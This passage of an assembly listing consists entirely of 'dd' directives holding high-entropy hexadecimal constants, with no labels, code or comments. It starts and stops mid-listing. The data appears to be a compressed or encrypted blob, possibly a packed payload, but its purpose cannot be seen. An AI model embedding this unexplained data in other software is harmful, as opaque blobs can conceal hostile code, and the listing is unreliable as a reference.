		dd 4703D980h, 2CCBD2EBh, 1F795037h, 98EE8B2Dh, 752B0E05h
		dd 33100450h, 2D44DB56h, 949A760Ch, 0B854125h, 703D22A1h
		dd 0D24910Eh, 0C59B1CA8h, 1D0465Ch, 83CFEB31h, 0C38680FDh
		dd 0D8F70275h, 0ADE29E5Fh, 0E8047B02h, 594A15DAh, 1464742Ah
		dd 6474A60Ch, 32AEE41Ah, 0E1F9E0E3h, 4D24B509h,	2383C273h
		dd 4020AC16h, 530B574Ch, 0D2118A56h, 1EAA9699h,	1718E69h
		dd 4FEFF6EEh, 4535F7EDh, 384A817Ah, 6A15F5D0h, 0C20BBB82h
		dd 0A0B0499h, 5EF57500h, 0A7925F5Bh, 0F4F01181h, 7E3D8DEBh
		dd 26109FFh, 287C0684h,	0F92B222h, 0C475E038h, 65034126h
		dd 66241877h, 22B78FFFh, 0B1EBDFA1h, 8A6B60B1h,	0EE22EC2h
		dd 0FF478D0Dh, 0C7E0421Bh, 494A068Bh, 0FA54810Bh, 0C46843Fh
		dd 3B9440A8h, 3AEBA5C1h, 3494B7E7h, 2B852E82h, 0A717D3C9h
		dd 0F0955011h, 0F62C4E5Ch, 57D18CAh, 0CF12EB61h, 99951C64h
		dd 44F3F140h, 46FB6602h, 0ECEA6D8h, 0A4B3170Ch,	4821AB5Ah
		dd 0B23F2E13h, 944527BDh, 23982DF6h, 0C0316DD3h, 326E2E84h
		dd 0AF77C76Fh, 0F623CBD6h, 1754333h, 0EFF250D2h, 0E82A048Ch
		dd 0C3F8259Ch, 7F406A25h, 0D14B414Eh, 40D5BCB8h, 8292092h
		dd 8D3B6AEBh, 926B58A4h, 9C90B412h, 99C1F757h, 0F7401FDh
		dd 2441018Ah, 0FA43B09h, 8BF1751Fh, 0FEFFBAC7h,	0D0D17E17h
		dd 0E830F083h, 4CF69AC2h, 37119A9h, 8BE87481h, 4F24FC41h
		dd 1A8A4423h, 72B39EA9h, 100F6F0Eh, 0CDCB03D3h,	97FC798Dh
		dd 0A6FE57BBh, 0FD7F0A08h, 0CAFC0340h, 64600CC3h, 0C0B68619h
		dd 8864B3A0h, 63471729h
		dd 0BF87EE93h, 225774D9h, 6ADED068h, 6C1155DEh,	3461E1CCh
		dd 2758E092h, 126A4448h, 0CD6B10D0h, 0F2C72C7h,	450966CAh
		dd 0AE487C6h, 8812EC0Dh, 0E08408A6h, 14567F86h,	444021DFh
		dd 1E028D05h, 9132C8E4h, 71138824h, 0C362341h, 14C3C12Bh
		dd 0FD9085FEh, 983AFCB2h, 973D5170h, 0B6A4245Ch, 81147282h
		dd 2D0C85E9h, 1850505h,	0EC731842h, 0C4E8C12Bh,	0DC581ABAh
		dd 8DC2EA4Ah, 3EDC7150h, 8366C889h, 838E450h, 3910E541h
		dd 0A9F8A80Bh, 7D448FA3h, 33DC3294h, 8F422631h,	89F685A2h
		dd 0FF3301BCh, 122B9435h, 42B1B27Eh, 0C244CCFh,	787C83C3h
		dd 22772CE0h, 271C6683h, 16894F9Eh, 74062239h, 6914A210h
		dd 64DE312Eh, 0A834A10Dh, 0CC8D7ACCh, 15BF412Fh, 89A0353Bh
		dd 853F7721h, 63EECD65h, 0C46B3455h, 2DF50434h,	0B6254689h
		dd 0F70CF40h, 0F0E62783h, 1030A178h, 0A1645A5Eh, 601F8143h
		dd 0E851C195h, 0C63ECDB3h, 211E5791h, 429A16F9h, 575E012Ch
		dd 5CB52C20h, 0A4350DD9h, 0B1087AAFh, 89EC2F11h, 4C3145B4h
		dd 804D5A74h, 12167B03h, 0B83006E6h, 744C9E12h,	0F9259A36h
		dd 3A287273h, 0B3264F7Ch, 62FC3AFCh, 0DD3D3E46h, 6B11D3B9h
		dd 822F94C9h, 4E578257h, 906885DCh, 0AF8D9650h,	0BE25B068h
		dd 38B6DDCBh, 5391E04Eh, 0DD034995h, 0E59A025h,	0C00ECE44h
		dd 0F0256651h, 3D0AC87Fh, 241CDD00h, 4EE85575h,	8617A93Fh
		dd 0EAF32D7Eh, 6699A41Ah, 8E535D23h, 0B6A41C0h,	9F412FE8h
		dd 701F7946h, 4B145356h, 30A6D04Ah, 5DC0F62h, 0EA166870h
		dd 0D1F4D29h, 63C0CA31h, 0AF31E83Dh, 0F85D5347h, 0DCBB2CB9h
		dd 0E0DF5F60h, 0E64759Eh, 0F8320B81h, 0C3F62220h, 0ED753420h
		dd 313F7D19h, 72AFCAC8h, 87BDD5B6h, 0B13A0815h,	10A36F9Dh
		dd 43FDF325h, 0E2DB1587h, 68B811C3h, 0C74A82ABh, 83A28405h
		dd 1BA7FDDFh, 1380A314h, 28881E22h, 4419A863h, 228BA38Ch
		dd 4B6F9014h, 1394CC29h, 0B034B6C3h, 0D99BF4B6h, 4CFE7D3Ah
		dd 96453A57h, 83FFCC80h, 6DFBFC92h, 0F47DDF98h,	26FE0CCDh
		dd 0F85599DBh, 0F8B24722h, 8F484E10h, 3D46F842h, 0A4388A2Ch
		dd 470473Fh, 0C598548h,	4643680Ch, 0A47C4B1h, 0C9220CA2h
		dd 0C5BC163Fh, 4EEF5765h, 0F075C0D9h, 1D2E643Dh, 95036701h
		dd 6E085AA3h, 63582CFAh, 0FF0850BEh, 3647E05Fh,	580008C2h
		dd 68048759h, 6A071C24h, 0C457E411h, 863119FFh,	0E667CF8h
		dd 9415F84h, 0BECA796Ah, 88B0454Ah, 0CB33FFAAh,	12625840h
		dd 41D04D33h, 0B82E26C5h, 0D4DFF87Ch, 5D8673EAh, 4462196h
		dd 8EFC55A1h, 0DA509430h, 0D95F8902h, 0AA0DE5ACh, 6D459CD8h
		dd 0DBAC6714h, 337FE59Ah, 0C623D5ADh, 33ACCE65h, 0F43A084Dh
		dd 0E081355Fh, 8A436035h, 684DF340h, 51A19ACEh,	0FC086EECh
		dd 31E123FFh, 855118A2h, 53BAE8B7h, 68C88E4Ch, 48F8AEECh
		dd 0FCCD1BC1h, 0DC804A5h, 0CDF87082h, 0A3263A08h, 21848610h
		dd 79A14B89h, 67AF3495h, 0E00CD8F2h, 610E2DDCh,	0E3188E24h
		dd 0E40C64DAh, 0E8101C08h, 9FECAF44h, 0F46423E6h, 0FC4CF809h
		dd 0E054F05Fh, 26DC899Fh, 9EF86DCAh, 3807D851h,	0CC44125Bh
		dd 0EB866401h, 10318FA9h, 9A8DD40Ch, 5F215012h,	35B89E69h
		dd 94EA46F8h, 88AFCC4Bh, 0BC911708h, 0D810576Ah, 7EDAA9B4h
		dd 0CC44CD91h, 5505A7EAh, 20BE2B60h, 66E083EBh,	0F4F41BAh
		dd 2454885Fh, 0DAB586Dh, 0A4DEB58h, 54EC23A0h, 86100614h
		dd 17D500ACh, 4A86C403h, 78EC2336h, 752E2470h, 269820Bh
		dd 89FDEDCEh, 1C3319BDh, 0F7206BD8h, 9FA718D9h,	26A44FFBh
		dd 0C70A9A0h, 9393574Ah, 5F443177h, 2E89C69Ah, 187C7DC8h
		dd 78FE8339h, 0D72AE805h, 4D00A552h, 48D4E10h, 5B4C39B6h
		dd 5EFA1883h, 481D3B05h, 1F687E08h, 26F60C52h, 6B4DA44Dh
		dd 0CA364807h, 4DC58024h, 89461A14h, 72800C31h,	0C473B01h
		dd 9904773Ah, 8F9076F0h, 0F0D98916h, 23695B85h,	4D76F246h
		dd 6807956Ah, 0A416218h, 0A7F442C0h, 42C85D04h,	1038EDE5h
		dd 6950AD2h, 0C8B896FFh, 72B60FAEh, 89025444h, 495AB802h
		dd 27A52D9Dh, 1A6A50FCh, 832068FEh, 4DC2F35Fh, 58084335h
		dd 11196051h, 3B2E74A9h, 7B271Ch, 76348D28h, 68B30C8Bh
		dd 19E2B489h, 0E97C3048h, 12242004h, 836158BDh,	63FCE62Eh
		dd 54FF6F40h, 0C3EB1203h, 85058F64h, 8DD156ACh,	86F854Eh
		dd 81410DC6h, 69450479h, 0FA51724Ah, 39DD521Ch,	5D4089Eh
		dd 7B8BD09Ch, 76FCBB2Eh, 90AEB8Ah, 4BEF1169h, 4BB06BCh
		dd 590C6B03h, 0D041C25Bh, 5A127EF0h, 9B7A5067h,	0DDA60C95h
		dd 8D166C99h, 0CC500996h, 0F9428390h, 0B130DF4Ah, 840F6468h
		dd 78316380h, 0FFFC1864h, 0BC0B9C17h, 0A5E009C8h, 68D03065h
		dd 68D08564h, 40488D64h, 640F5F66h, 4844094Ch, 2234913Ch
		dd 1C24442Ch, 5730568Ah, 12646862h, 9180F111h, 0A0228C09h
		dd 5B30B595h, 23166682h, 85865B0h, 66E08665h, 19991889h
		dd 14600938h, 0C1A930ADh, 4A70E66h, 5C906A66h, 9980B4CAh
		dd 12C409BCh, 48D424CCh, 22E491DCh, 309595F7h, 1020B1DAh
		dd 9180D99h, 293C1228h,	1F5D3059h, 68902D6Ah, 0E2EFF59Bh
		dd 0BC0CC029h, 694640CCh, 508B4E40h, 0B0590B15h, 0FB86FC9h
		dd 0F22BF1A2h, 99C3B562h, 3A735E98h, 4AE8521Bh,	0E2C0F23Fh
		dd 0E22E1848h, 0D84EBD0Ch, 2FC30129h, 19A82B1Dh, 0C105A350h
		dd 8D02F902h, 9289880Ch, 0B003D846h, 58328E3h, 0C166F30Ch
		dd 2B418A3Bh, 0A62ECB2h, 0E455C348h, 0FDE816A5h, 44EFB2F4h
		dd 0D04753Eh, 11E8186Ah, 0A129AAA8h, 20838A8Dh,	10A34509h
		dd 9570BC42h, 4702034h,	0CC469D8Ch, 0A156534Bh,	8A5C90EAh
		dd 772D8D1Fh, 95AF5801h, 0C342449Ch, 921E2211h,	2B6941B3h
		dd 5474459h, 0EB461EA0h, 7A0DB5D0h, 47FCA6Dh, 50C1453h
		dd 16DB2B1Ch, 18274A31h, 8C0F4AC4h, 33AB2BE3h, 4FAD84E2h
		dd 8F242409h, 396A4C7Ah, 0C1E59859h, 974305Eh, 0A5292C7h
		dd 0C032BED2h, 0FE783C1Bh, 0A958E80Dh, 1F080813h, 31A6895Ch
		dd 17750639h, 12AA53BAh, 6A044120h, 15E5602h, 50648946h
		dd 0D2331E7Dh, 0BF1006F7h, 99CA903h, 0A6A0BD23h, 0C08CF34Bh
		dd 0A41D4365h, 0CBBEA481h, 0D030C470h, 0BA1ECE2h, 3A569157h
		dd 8C8B66A1h, 57C72358h, 20C3814Ah, 4C45E104h, 37A4917Eh
		dd 738D413Bh, 3D842E36h, 9D08EE4Fh, 0DE72F4CEh,	0A7840CD4h
		dd 4476CAF2h, 0EB040605h, 1CAF0F09h, 9FF10328h,	0AAF5F85Ah
		dd 188A0682h, 0C04A64E9h, 0CFFBBF50h, 0D61B8EDh, 4008C1F6h
		dd 0C8D4523Eh, 8291FCECh, 2A4DEB0Ch, 4BB86104h,	9D1C757Fh
		dd 3E420114h, 4002E183h, 0D87D8106h, 77800234h,	0C91685F2h
		dd 9EB02C75h, 0F6273A76h, 0C7011482h, 0D783405h, 0C8F7224Fh
		dd 11EBFF0Ch, 60C180B5h, 0C91BD9F6h, 5A031D70h,	0BB0219C8h
		dd 36F9BD05h, 97906102h, 0C6F85204h, 8F8BD438h,	0AE01AC5h
		dd 27F46F2h, 34F6384Fh,	1F49DB48h, 0FFFDE5B1h, 522E2DE4h
		dd 49B3E0BDh, 372F5089h, 0F1AD43C4h, 0BF88404Bh, 0C408C10h
		dd 254C428Fh, 1355D310h, 937AADCCh, 4A5EE3AEh, 0BE7A26B2h
		dd 69872D97h, 53B41EAh,	75BC532Ah, 0E8441BBEh, 2E448428h
		dd 82689E6h, 12E28921h,	12141122h, 202024E0h, 0C418A107h
		dd 0EA45EB0Fh, 0AB91608Dh, 0FF832858h, 481B7425h, 0F666122Bh
		dd 0F8CE707Dh, 0DC0CC80Bh
		dd 0D8D50513h, 4974D4F8h, 0C05E9C03h, 0BFE0753Bh, 8AA543A1h
		dd 46A35F03h, 0C9EE5E13h, 6CBC3FCFh, 0F211F6F2h, 0E8BC0009h
		dd 9E9E566Dh, 8AFFA7h, 5E2C2A7Bh, 7D3D2C01h, 74DE0C48h
		dd 5D4891B8h, 85CF1655h, 0CC73CEBDh, 0E9D7754Ch, 0F6C9A95Bh
		dd 46F7B200h, 9201E20Ch, 186CEF73h, 87EB4E7Eh, 10085EF1h
		dd 9DD08A20h, 752AC91Ch, 2307B451h, 0F992C83Bh,	0F87BE072h
		dd 36FF0E57h, 0F872E853h, 85292C6Eh, 47E8539h, 25D13E01h
		dd 0D284DF03h, 0C04BEBFCh, 2E72146Eh, 0C910AFBDh, 130E89C1h
		dd 912FE65h, 5350C22Bh,	65235DD2h, 36748957h, 29370610h
		dd 309AB90h, 8518EBD8h,	0BC5873C9h, 15745925h, 87038828h
		dd 4D5E433Dh, 0DB8C1423h, 76850F80h, 0BB288899h, 831EF9A6h
		dd 0EB4D0C4Eh, 0E6430D04h, 2BB836C7h, 0EBF6BE7Eh, 96F8E549h
		dd 57F5ECE5h, 0D900FF61h, 1E7D8D59h, 81ABF3E0h,	168A5F07h
		dd 0CA5864B3h, 0CF2381A0h, 302E8E6h, 448DE3D2h,	1806E005h
		dd 80619546h, 0AD0D7AE5h, 0CF200E85h, 5C304915h, 6A028A0Ch
		dd 0CEFAF051h, 0D3525B60h, 0EEC1E3h, 354C8A03h,	74D984E0h
		dd 4EC7074Bh, 0D9EB42C3h, 44B2DA8Bh, 24AD1E17h,	584A8556h
		dd 2667E0D3h, 22097585h, 0D2DC8E80h, 0E93710ABh, 45F35E2Eh
		dd 23564289h, 7C5BC3h, 969A0A5Ah, 53567A87h, 0C0B8D9B4h
		dd 0C6F71407h, 0A7FE0903h, 0E25896Ah, 0EB6FA28Ch, 2DEA7621h
		dd 257454C8h, 2029D3CAh, 40EB7543h, 3F511E5Ch, 64DCE383h
		dd 3D602142h, 0F3754B2Fh, 5B82EDB4h, 71C35F5Eh,	12748A7Ah
		dd 4455273Bh, 0C58C9608h, 6C3B23EEh, 0FA5E3366h, 599A9756h
		dd 0C84CB85Eh, 0BB199DAFh, 163B0A06h, 0DE91C6A3h, 1E472C22h
		dd 750D0C23h, 0A84574C6h, 648AB2AFh, 215C0E15h,	86110492h
		dd 9B755154h, 0E20A0AACh, 28608B07h, 0A93AB16Bh, 0D949A485h
		dd 7B69A77Eh, 3F6FE583h, 851BF352h, 144DF58h, 0A07988F8h
		dd 66245DA2h, 3C8919EFh, 8980DF4h, 0F957D420h, 0A8146E96h
		dd 0EA1A6255h, 0F06D0D19h, 899080A8h, 45FC2431h, 3FEF14EBh
		dd 8A8106Ah, 0C4F61796h, 212FB104h, 0EFAD3A29h,	14260459h
		dd 56FD425Eh, 4BF3771Ah, 0F7054912h, 79D80DEBh,	576A8A16h
		dd 50D14342h, 4EB053E5h, 5B267AE3h, 0F7524AD9h,	0AEF20BBBh
		dd 0F4CB89A7h, 0F345D0FEh, 46318AA6h, 473A8EFFh, 510477D4h
		dd 0F7C4CF74h, 5B96CBD1h, 0D0EA8359h, 0A71271EAh, 5608C661h
		dd 53277626h, 47078EC0h, 47F73988h, 908D7FC7h, 1147B2C7h
		dd 3116121Fh, 28750C0Ah, 9CB44FCFh, 8B23AC2h, 0BEB030Ah
		dd 2E6704D2h, 30097509h, 4CEB4ED3h, 0C449D81Ch,	0E1337413h
		dd 23764293h, 301D2C6Fh, 0A2B4CBD7h, 3F47DB0Dh,	8F054D24h
		dd 0F94F31Eh, 62CE4EBFh, 0B229655h, 44F6D0C8h, 369F2AD0h
		dd 8E0B92C6h, 0B9899D44h, 50D0008h, 34025788h, 0CC1B6210h
		dd 70A4019Ch, 658167AAh, 20FFC983h, 69904168h, 458A4F06h
		dd 1714FD0Ch, 0F2073847h, 1652585Ah, 0E2E3FCC7h, 0FF428DC1h
		dd 0EE7EFA5Bh, 0E648DCFh, 0B84357Bh, 6EF0D8B1h,	38B754EAh
		dd 0B1374F8h, 38420A8Ah, 84D1A602h, 6F515AC1h, 0BED0B60h
		dd 0C3D4C0D8h, 5610E3C1h, 0A0A12DEh, 0D26FDCBFh, 40CBDF4Bh
		dd 2983F970h, 1FE5FFF1h, 0F0C696CFh, 0E152810Ah, 1C750AE6h
		dd 0D365ED25h, 3DFF071Fh, 8DE63308h, 86C4C280h,	2EA5BC2h
		dd 0FC428BC3h, 0ACE2D838h, 87EFAAA7h, 922784DCh, 58DEE7AEh
		dd 24152732h, 860648DCh, 5C96EBD4h, 0FEEAB28Ch,	230770D0h
		dd 96FC10FDh, 0C7D9D21h, 12BC93Fh, 487FFB9Ah, 849536EFh
		dd 54A15628h, 4EAF012Bh, 0E10A7804h, 158700Eh, 1389413Bh
		dd 0F40507EBh, 24AA516Ah, 16D382C1h, 0A3CB9C8h,	57C1BE90h
		dd 2780D975h, 0CEC36630h, 3BA95D9Bh, 550B4609h,	0F06BC4F8h
		dd 3D1702AFh, 0DDDD6ACCh, 1D75E5A2h, 0B09C457h,	0AA8C0F41h
		dd 5A4745D6h, 80A18F92h, 0E920C009h, 0F906E199h, 0D4137D97h
		dd 5EDF3BA0h, 39257D09h, 7E43E835h, 91029D0Bh, 427914F8h
		dd 6DD80A13h, 0C6232D58h, 0DAF8EC0Eh, 15E865EBh, 4CA213A2h
		dd 9F8008F8h, 4A44F6C8h, 79870158h, 0A6365E6h, 7388028Ah
		dd 95D0ED8h, 1E7BEB58h,	40140DB7h, 6A56C693h, 0A959EBBFh
		dd 892B5103h, 3592304Fh, 0E81299A4h, 72EF555Eh,	0C1DDAE65h
		dd 8E890699h, 0DE8CFC45h, 8DAFD0Dh, 0BCBA75Ah, 0A1D54449h
		dd 363453F0h, 0F297FD14h, 9245A518h, 38C20C19h,	4C2DF4F1h
		dd 18C4C20Ch, 0FBBC50EBh, 54355C32h, 0D10E1608h, 8EDB4EE9h
		dd 0BD8C0EAh, 35F475C9h, 0BD38F3F7h, 0B91305Dh,	18D10310h
		dd 4B3B0E72h, 11D90877h, 2BE17653h, 0CD1B8F34h,	0FA111424h
		dd 0DACF072Bh, 0A783D823h, 9181D20Bh, 3242EAA0h, 81B918AFh
		dd 19101214h, 858B49D8h, 41EBD311h, 28148132h, 0F981689Fh
		dd 451813F0h, 0E6F9C545h, 8910845Ch, 760C1007h,	244E5901h
		dd 735EC614h, 6865BA5Ah, 93835AAh, 42C2147Eh, 590768D0h
		dd 7B802172h, 1B753A61h, 93F7C75h, 62081068h, 25E80B91h
		dd 803E99DFh, 4396832Fh, 0F3A1848Ch, 43032F03h,	0E1827A66h
		dd 9A243BDDh, 4A8494BEh, 65740470h, 0D1A3908Ah,	812F82F6h
		dd 487D0CCBh, 1AEB0440h, 972FF980h, 0D65C57ADh,	2E1A0A0Ah
		dd 804A0B75h, 488D0679h, 4D30F101h, 0BFE99540h,	6B133CCFh
		dd 2A888573h, 1B156AEh,	3BFB2B88h, 74D838FEh, 6D7494A2h
		dd 0A559AA88h, 27284477h, 64CC0724h, 104D8288h,	63C98522h
		dd 0FC7D2421h, 3B4C7702h, 704872FBh, 843F8DE9h,	376BE814h
		dd 187D7888h, 2B4461C5h, 70C8612h, 0BDF04E73h, 0E857B968h
		dd 0E159442Bh, 5F3E2409h, 1446788Ch, 532B1788h,	533222C3h
		dd 0CA1C2440h, 0E9FD1888h, 5EF3195Ch, 45A88ADFh, 9FE53CBAh
		dd 85257B25h, 0ED0A11E8h, 42DFB8A4h, 0D397D408h, 49325913h
		dd 9C25760Eh, 5912A055h, 5DC580E9h, 15129234h, 15CA11AEh
		dd 0B8B56922h, 0FB850F08h, 0A87F5565h, 92E03DC4h, 1D89D387h
		dd 18ED4E8Dh, 0D6E86F6Dh, 0CB25FF5Ah, 4C8AA5ADh, 89F229E1h
		dd 515320D8h, 0F9EF369Fh, 0E4F725FBh, 422D5A69h, 48FC439Dh
		dd 1D72FE84h, 0D91B5011h, 5E15DCDFh, 6C5518A0h,	8AC016A0h
		dd 1EB2ACDFh, 0B237B743h, 769FA0B6h, 414D4021h,	22519085h
		dd 8E93D98Ah, 6D430D79h, 0B421EADBh, 4A3DD047h,	0C23A60A2h
		dd 9464C158h, 14507408h, 154EDEAFh, 0AE933AAh, 47FE994Bh
		dd 74C78B42h, 8C22A85Bh, 0A2122A02h, 77098609h,	77F65814h
		dd 7971A86Bh, 0D5E41F4Ah, 0CE6FEC52h, 0E8D798FCh, 7F256421h
		dd 520B89D8h, 0DC1A9C29h, 587389A1h, 0EFC14681h, 3F493104h
		dd 0C2E89D30h, 0E573B728h, 421D0A2Fh, 0CA32EB0Ah, 16258409h
		dd 5CF59035h, 42B4603h,	3AABB6E5h, 0F8DEA33Bh, 16243BACh
		dd 0FE43125h, 9487BCBAh, 0A543BC28h, 3C614442h,	122443D4h
		dd 1D3E14EBh, 0FEFCB062h, 0C5E8210Ah, 821BEF1Ah, 3914B925h
		dd 3EEB1004h, 1422F733h, 0FE6B2324h, 16480F92h,	0F0DA269h
		dd 0EE9D44B4h, 0EF2B2FFBh, 0FF49C865h, 0FE4DE4EBh, 0DF5E7BC1h
		dd 1DCDC822h, 0C0DF0791h, 0E1810C4Eh, 0B7CB0108h, 2EC6C629h
		dd 17D93B22h, 3FC68DFBh, 0E8361402h, 0CB0B776Eh, 2B3BC56Eh
		dd 2567C9DFh, 0BA2E5446h, 0B28EED9h, 1064238Dh,	0EB327916h
		dd 0D977E20Dh, 2BFB84D4h, 0DAB7E1FAh, 7CE143A9h, 0BA291901h
		dd 9950473Eh, 3BD8052Bh
		dd 0F43E72C7h, 0A7B12910h, 22BE0F0Bh, 59056E8Eh, 741DBADBh
		dd 0A545142Eh, 0B2A64B8Ah, 0A8927FB4h, 9A4397Ch, 36502FBFh
		dd 62E49AECh, 2BC7CDFCh, 0D6FE75AFh, 0AF8CFBE7h, 4B424310h
		dd 0B698C4ADh, 7F845730h, 4C35BC8h, 0A0F61D20h,	16EE02EBh
		dd 0D64FAB4h, 17381459h, 0DBEB89F8h, 66CA2E09h,	0FFF2FD78h
		dd 0D5687496h, 0D6914712h, 0DAC8D8F7h, 89C1E983h, 324A29BAh
		dd 1CB11CE5h, 1C220E18h, 11EF2794h, 10641421h, 921ACA77h
		dd 0D145CC54h, 0D94BEB72h, 24DB2722h, 191C32F1h, 14230B18h
		dd 4FC91091h, 0A34ED109h, 815F5E25h, 7EECA132h,	20AC87Fh
		dd 68D0FF05h, 0D6BF3028h, 0E82A0B74h, 10FECCCEh, 22840FA3h
		dd 0C71F74BFh, 38D1096Ah, 1513C02Ch, 239907FDh,	8E040C01h
		dd 5F205760h, 957C3D39h, 33119CA6h, 88F2085Fh, 7E0F408Dh
		dd 0A8948B13h, 3089E8A0h, 8847783Dh, 29A1741Dh,	98243A3Ch
		dd 303A3889h, 718D5602h, 0F03BFC07h, 6E51372h, 0EE839861h
		dd 203A4161h, 5EED732Eh, 95346829h, 2A882C10h, 287E599Ch
		dd 38421140h, 0E6A81921h, 10755B14h, 8789297Bh,	8F9ADDA7h
		dd 3B9524F1h, 0D7315ABh, 4C6C358h, 0C3A424EBh, 95FCBF3h
		dd 0B29C7DF3h, 55766A9Dh, 55369698h, 0D9AAFA93h, 2590ED95h
		dd 0BAD62EAEh, 95F22ECCh, 0D70B6922h, 74059B7Eh, 40B8A932h
		dd 0E8A409Fh, 52750F3Ah, 48474613h, 0E816301Bh,	0FAD13817h
		dd 7B4EF045h, 0CB577301h, 0C1523B15h, 0E8C7879Fh, 0E2E36B6Fh
		dd 13445E33h, 83D6A8E0h, 0A2A7F32Bh, 0FC4EC127h, 3ACF57CDh
		dd 0F526104Dh, 7E2E3792h, 1D59EA6Fh, 70B80302h,	0B21B58B3h
		dd 0FF362B48h, 0C41CFD6Ah, 0F81168Bh, 0E775CA38h, 0DD18C89Dh
		dd 0EE0D9EEh, 6D886111h, 0E250764Ah, 6AC53B06h,	5F1648CDh
		dd 912ADCB1h, 9E418D33h, 1C7F0AC4h, 4A7F4010h, 2BF699C0h
		dd 0F8D116C1h, 0A8FA2448h, 10FF5BA9h, 3B0BE0A8h, 658857D6h
		dd 0E8F02765h, 16C8FEF8h, 883996DAh, 29627569h,	2BCA8621h
		dd 317BDD0h, 0D60E66C8h, 32898331h, 4AA86480h, 424047B5h
		dd 0E48E241Bh, 5DC4EFB8h, 7AD8BB0Ch, 0E86A5C52h, 0FA097473h
		dd 0EE83D3DCh, 35FF0CC5h, 0C060647Ch, 0F747A5Dh, 2A1241B3h
		dd 0EB073BA3h, 5B4F8D6Fh, 41C2FC09h, 96B6FE5Dh,	0BD1ECD1Ch
		dd 1937DBD2h, 0E9F54036h, 0C14BAC6Ch, 6157DEF6h, 78967BAFh
		dd 810143BCh, 0AFEB2F75h, 9C0BAD5Ch, 0E01A8862h, 569CEB9Dh
		dd 1FB46A5Fh, 0A415882Ch, 0C63B059Bh, 0E9488374h, 6840D895h
		dd 43164D78h, 41D6A40Eh, 5B34F616h, 25833098h, 150F58ECh
		dd 6CE86586h, 98116C20h, 0D48A3E3Eh, 8D4C6AFAh,	9E6828B1h
		dd 480D431Bh, 0FCC11D2Eh, 16CA030Ch, 0E80D8444h, 1140A310h
		dd 0D7824E45h, 0C85924A1h, 1C7C6A52h, 925BB06Fh, 63F64EBBh
		dd 680223D2h, 0ACA39D13h, 4121FFF4h, 0BD80E958h, 68CA2665h
		dd 50CA8BFh, 2EB96A4Ah,	8DD07502h, 37C9A445h, 9DE81064h
		dd 0CED9DF54h, 0D06BF69Ch, 0E8067E84h, 83D4258Ch, 14580AF8h
		dd 0DF9C753Ch, 8630BF4Fh, 0C6498EE8h, 12A0456Dh, 0D87F586Bh
		dd 3AC195C7h, 984D2009h, 0E8515006h, 0E3FB52DBh, 0C8110731h
		dd 4AF99875h, 3D833F86h, 43BFE788h, 5B60F1F7h, 4CA885C3h
		dd 0FA37908Fh, 48A08766h, 30417810h, 3B21250Ah,	594A6B44h
		dd 56926926h, 7A6B49F6h, 6466037h, 82A8105Eh, 0F3450F98h
		dd 0EB2040E1h, 2CE08AEBh, 66338316h, 22101004h,	0DA90DB30h
		dd 0FE240807h, 46250E89h, 5A193010h, 0EF246947h, 0A9B702E7h
		dd 1A071F9h, 58FE8122h,	74FA8CA6h, 8A781008h, 0E853C980h
		dd 1D965C8Fh, 40BAC16Bh, 834829EEh, 571A0108h, 1866474h
		dd 0F82B3EE1h, 0E31746Dh, 2C4918B2h, 40676AFh, 5057107Eh
		dd 0ECD64E68h, 730ED4EAh, 2F33EB3Ch, 0EEA89FBh,	0C1CB4157h
		dd 0E1F005F8h, 0BAF4B51Fh, 49EFC912h, 277C8FAh,	3A5A04Ch
		dd 20D840F6h, 6A390D74h, 70C47002h, 0B536471Eh,	0BA4D8A39h
		dd 14EB9688h, 453E4EACh, 42535F28h, 7D39C783h, 85845F64h
		dd 193F3BA5h, 22253CFEh, 0A2EF7A0Eh, 0C692C01Ch, 0E4E0DC9Fh
		dd 0C8EE6448h, 1F248A8Eh, 752D0047h, 6DEC3AA7h,	940C4720h
		dd 0F04D4506h, 0D40877F0h, 0D0303F0Fh, 0EC553914h, 0DC8C0F18h
		dd 18FB8031h, 0A137C20h, 0E5A7F78h, 0F28A6483h,	0C39A6A64h
		dd 8FC9DD1Dh, 0C684208Eh, 0C9051F5Ah, 73E8204h,	0FD08A80h
		dd 63D69A87h, 408DDDE0h, 92D48384h, 0CC551901h,	0E002D806h
		dd 0FC08E404h, 78E9DC06h, 1093D645h, 3B35E56Ah,	2D9E830Ah
		dd 1C080A3Dh, 357F481Fh, 0A60D1D12h, 74823F59h,	50E908FCh
		dd 0E5040991h, 0F2011847h, 780893Eh, 12352A3Fh,	2C940247h
		dd 752AFB20h, 0E7D1234Fh, 46FAF5E8h, 51AB699h, 34128D0Fh
		dd 7F50FD3Eh, 0DFA4E977h, 0CBBE2FC4h, 98806783h, 28D04144h
		dd 748BE9EBh, 5ED29F0h,	0C81E103Fh, 1F051B6h, 10905D3h
		dd 0B2CAE9C0h, 8D896813h, 398A6F3Ah, 8635B8E9h,	0A2E7449h
		dd 20406875h, 5AB9A36Ch, 0A0020A0Ah, 0FD4D0A18h, 61971EB9h
		dd 8E54109Eh, 28208F09h, 3F808185h, 0D4147536h,	3476017Fh
		dd 0EF470E38h, 78467251h, 81336CE9h, 356ED089h,	0B01D56B3h
		dd 0CED6F6B6h, 0D5195C4Bh, 11B57466h, 4DA87FD6h, 47ECA9B1h
		dd 0C41969A1h, 0E92F5866h, 5326F125h, 8667F81Dh, 29021C8Fh
		dd 0C3A165F2h, 2D2FC296h, 0F8222458h, 0A078E250h, 0FF43E818h
		dd 4C159FE5h, 6C09706Eh, 8FC22D4h, 2403E985h, 0FC4504C4h
		dd 7AC4EA30h, 0FE09C125h, 45FB54F0h, 53E7ADBEh,	529C3E1Ah
		dd 42977B22h, 0B1B7D44Fh, 501FE8Ah, 8409F792h, 26261CBAh
		dd 4F676395h, 2000C727h, 0D2854ED6h, 0A5D442C8h, 0F3CC1DF0h
		dd 0E24015CAh, 0E6E74AEBh, 0C3800938h, 40142120h, 0B86ABD8Dh
		dd 0A53B2E8Eh, 0E39C7D1Bh, 3E3162CFh, 0E92306F0h, 8E7985D1h
		dd 87097809h, 55E82F20h, 0E96A8930h, 0E64B9FCCh, 0F4013959h
		dd 32B9C23Ah, 8A5AF17Fh, 0FD429EBh, 0AD9745Ah, 48C5D409h
		dd 2A22FADFh, 0F2E108E9h, 0A0F9ED8h, 0A73B8859h, 13421AF5h
		dd 0F87E0948h, 0B0DFE7E9h, 4BB3E8FBh, 0F54F304h, 56488B33h
		dd 0E22C0AC2h, 0A3810FDFh, 81BF0F17h, 0C82BE8D1h, 0E7AEF4B0h
		dd 65B5E935h, 0FACA2B87h, 0F26A3D4Dh, 18A112EBh, 489C0A26h
		dd 456BF850h, 15058109h, 0DE48AA67h, 295EC9F0h,	0C083CC01h
